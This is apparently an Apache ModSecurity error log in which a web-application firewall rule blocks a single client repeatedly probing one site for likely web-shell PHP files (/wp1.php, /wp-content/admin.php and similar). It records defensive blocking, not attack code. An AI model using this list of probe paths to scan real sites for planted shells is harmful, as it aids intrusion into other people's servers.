[Sun May 03 09:55:26.216574 2026] [:error] [pid 37130:tid 37233] [client 172.173.121.85:5728] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "afarDqIu7bmXKXicRk9FEgAAAJQ"]
[Sun May 03 09:55:26.618317 2026] [:error] [pid 37127:tid 37207] [client 172.173.121.85:6085] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "afarDv8khJXb5O5aWVXyzgAAAFU"]
[Sun May 03 09:55:28.005871 2026] [:error] [pid 37130:tid 37222] [client 172.173.121.85:6103] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "afarEKIu7bmXKXicRk9FEwAAAIk"]
[Sun May 03 09:55:28.386722 2026] [:error] [pid 40386:tid 40397] [client 172.173.121.85:6121] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "afarEFHJDYRXUf3IbRTtOQAAAMk"]
[Sun May 03 09:55:28.764476 2026] [:error] [pid 37246:tid 37262] [client 172.173.121.85:6130] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "afarEDhvYFGNwhnPamqZMgAAAQw"]
[Sun May 03 09:55:29.189307 2026] [:error] [pid 40456:tid 40459] [client 172.173.121.85:6137] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "afarETSujTvwdzEkjSf0owAAAYE"]
[Sun May 03 09:55:29.604010 2026] [:error] [pid 37246:tid 37254] [client 172.173.121.85:5133] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "afarEThvYFGNwhnPamqZNAAAAQY"]
[Sun May 03 09:55:30.011897 2026] [:error] [pid 37246:tid 37261] [client 172.173.121.85:6134] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "afarEjhvYFGNwhnPamqZNQAAAQs"]
[Sun May 03 09:55:30.400941 2026] [:error] [pid 40386:tid 40406] [client 172.173.121.85:6090] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "afarElHJDYRXUf3IbRTtOgAAANI"]
[Sun May 03 09:55:30.790631 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:6080] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "afarEjSujTvwdzEkjSf0pAAAAYM"]
[Sun May 03 09:55:31.202575 2026] [:error] [pid 40422:tid 40430] [client 172.173.121.85:6122] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "afarE0HBbBLrXh6PBuuukAAAAUQ"]
[Sun May 03 09:55:32.090427 2026] [:error] [pid 40386:tid 40407] [client 172.173.121.85:5123] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "afarFFHJDYRXUf3IbRTtPQAAANM"]
[Sun May 03 09:55:40.419477 2026] [:error] [pid 37130:tid 37232] [client 172.173.121.85:5148] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afarHKIu7bmXKXicRk9FJgAAAJM"]
[Sun May 03 09:55:40.814781 2026] [:error] [pid 40386:tid 40404] [client 172.173.121.85:6140] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afarHFHJDYRXUf3IbRTtQAAAANA"]
[Sun May 03 09:55:41.224875 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:5754] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afarHUHBbBLrXh6PBuuuoQAAAUw"]
[Sun May 03 09:55:41.706671 2026] [:error] [pid 40456:tid 40472] [client 172.173.121.85:5730] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "afarHTSujTvwdzEkjSf0vQAAAY4"]
[Sun May 03 09:55:42.092385 2026] [:error] [pid 40456:tid 40477] [client 172.173.121.85:6132] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afarHjSujTvwdzEkjSf0vgAAAZM"]
[Sun May 03 09:55:42.603945 2026] [:error] [pid 40422:tid 40445] [client 172.173.121.85:5759] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afarHkHBbBLrXh6PBuuuogAAAVM"]
[Sun May 03 09:55:43.009469 2026] [:error] [pid 37246:tid 37274] [client 172.173.121.85:6123] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afarHzhvYFGNwhnPamqZPQAAARg"]
[Sun May 03 09:55:43.393483 2026] [:error] [pid 37246:tid 37254] [client 172.173.121.85:30275] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "afarHzhvYFGNwhnPamqZPgAAAQY"]
[Sun May 03 09:55:43.827733 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:5156] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afarHzSujTvwdzEkjSf0wgAAAZY"]
[Sun May 03 09:55:44.231807 2026] [:error] [pid 40456:tid 40475] [client 172.173.121.85:5725] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afarIDSujTvwdzEkjSf0wwAAAZE"]
[Sun May 03 09:55:44.630758 2026] [:error] [pid 40456:tid 40470] [client 172.173.121.85:5151] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afarIDSujTvwdzEkjSf0xgAAAYw"]
[Sun May 03 09:55:45.054015 2026] [:error] [pid 37130:tid 37237] [client 172.173.121.85:6097] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "afarIaIu7bmXKXicRk9FKAAAAJg"]
[Sun May 03 09:55:45.481251 2026] [:error] [pid 37246:tid 37257] [client 172.173.121.85:30212] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afarIThvYFGNwhnPamqZQQAAAQk"]
[Sun May 03 09:55:45.979066 2026] [:error] [pid 37127:tid 37199] [client 172.173.121.85:5733] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afarIf8khJXb5O5aWVXy0wAAAE4"]
[Sun May 03 09:55:46.359686 2026] [:error] [pid 37246:tid 37259] [client 172.173.121.85:5758] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afarIjhvYFGNwhnPamqZQwAAAQo"]
[Sun May 03 09:55:47.272550 2026] [:error] [pid 37127:tid 37193] [client 172.173.121.85:5703] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "afarI_8khJXb5O5aWVXy1AAAAEk"]
[Sun May 03 09:55:47.657814 2026] [:error] [pid 40456:tid 40469] [client 172.173.121.85:5734] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afarIzSujTvwdzEkjSf0ygAAAYs"]
[Sun May 03 09:55:48.039375 2026] [:error] [pid 37126:tid 37156] [client 172.173.121.85:5126] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afarJPR_A42N-LtDyrvrCQAAAAM"]
[Sun May 03 09:55:48.483228 2026] [:error] [pid 37126:tid 37173] [client 172.173.121.85:5723] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afarJPR_A42N-LtDyrvrCwAAABQ"]
[Sun May 03 09:55:48.945567 2026] [:error] [pid 37246:tid 37248] [client 172.173.121.85:6141] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "afarJDhvYFGNwhnPamqZRwAAAQA"]
[Sun May 03 09:55:49.341293 2026] [:error] [pid 37126:tid 37175] [client 172.173.121.85:5756] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afarJfR_A42N-LtDyrvrDAAAABY"]
[Sun May 03 09:55:50.859988 2026] [:error] [pid 40456:tid 40469] [client 172.173.121.85:6093] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afarJjSujTvwdzEkjSf01QAAAYs"]
[Sun May 03 09:55:51.238474 2026] [:error] [pid 40386:tid 40407] [client 172.173.121.85:30317] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afarJ1HJDYRXUf3IbRTtRgAAANM"]
[Sun May 03 09:55:51.695078 2026] [:error] [pid 37127:tid 37202] [client 172.173.121.85:5127] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "afarJ_8khJXb5O5aWVXy1QAAAFE"]
[Sun May 03 09:55:52.141952 2026] [:error] [pid 40456:tid 40473] [client 172.173.121.85:6136] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afarKDSujTvwdzEkjSf02QAAAY8"]
[Sun May 03 09:55:53.088478 2026] [:error] [pid 40456:tid 40471] [client 172.173.121.85:5747] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afarKTSujTvwdzEkjSf03AAAAY0"]
[Sun May 03 09:55:53.600129 2026] [:error] [pid 37130:tid 37215] [client 172.173.121.85:5722] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afarKaIu7bmXKXicRk9FLgAAAII"]
[Sun May 03 09:55:53.983629 2026] [:error] [pid 37126:tid 37157] [client 172.173.121.85:5698] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "afarKfR_A42N-LtDyrvrEAAAAAQ"]
[Sun May 03 09:55:54.422095 2026] [:error] [pid 37246:tid 37267] [client 172.173.121.85:5167] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarKjhvYFGNwhnPamqZSgAAARE"]
[Sun May 03 09:55:54.887608 2026] [:error] [pid 40386:tid 40403] [client 172.173.121.85:5719] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarKlHJDYRXUf3IbRTtSQAAAM8"]
[Sun May 03 09:55:56.354736 2026] [:error] [pid 40422:tid 40437] [client 172.173.121.85:30269] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarLEHBbBLrXh6PBuuupgAAAUs"]
[Sun May 03 09:55:56.810993 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:5704] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarLEHBbBLrXh6PBuuuqQAAAUw"]
[Sun May 03 09:55:57.204096 2026] [:error] [pid 37126:tid 37164] [client 172.173.121.85:6118] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afarLfR_A42N-LtDyrvrEgAAAAs"]
[Sun May 03 09:55:57.636382 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:5128] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afarLTSujTvwdzEkjSf03wAAAZA"]
[Sun May 03 09:55:58.023718 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:5178] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afarLjSujTvwdzEkjSf04AAAAZY"]
[Sun May 03 09:55:58.424926 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:5164] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "afarLkHBbBLrXh6PBuuurQAAAVI"]
[Sun May 03 09:55:58.903053 2026] [:error] [pid 40456:tid 40462] [client 172.173.121.85:30253] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afarLjSujTvwdzEkjSf04QAAAYQ"]
[Sun May 03 09:56:00.699719 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:5714] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afarMDSujTvwdzEkjSf05QAAAYM"]
[Sun May 03 09:56:01.086407 2026] [:error] [pid 37246:tid 37248] [client 172.173.121.85:5751] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afarMThvYFGNwhnPamqZUAAAAQA"]
[Sun May 03 09:56:01.646783 2026] [:error] [pid 37127:tid 37191] [client 172.173.121.85:30249] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "afarMf8khJXb5O5aWVXy2AAAAEc"]
[Sun May 03 09:56:02.069190 2026] [:error] [pid 37127:tid 37205] [client 172.173.121.85:5842] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "afarMv8khJXb5O5aWVXy2gAAAFM"]
[Sun May 03 09:56:03.451043 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:5134] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "afarM0HBbBLrXh6PBuuusgAAAVE"]
[Sun May 03 09:56:03.832914 2026] [:error] [pid 40456:tid 40458] [client 172.173.121.85:5130] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "afarMzSujTvwdzEkjSf05wAAAYA"]
[Sun May 03 09:56:04.218920 2026] [:error] [pid 37130:tid 37235] [client 172.173.121.85:5755] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "afarNKIu7bmXKXicRk9FMwAAAJY"]
[Sun May 03 09:56:05.318269 2026] [:error] [pid 37126:tid 37156] [client 172.173.121.85:5727] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afarNfR_A42N-LtDyrvrFAAAAAM"]
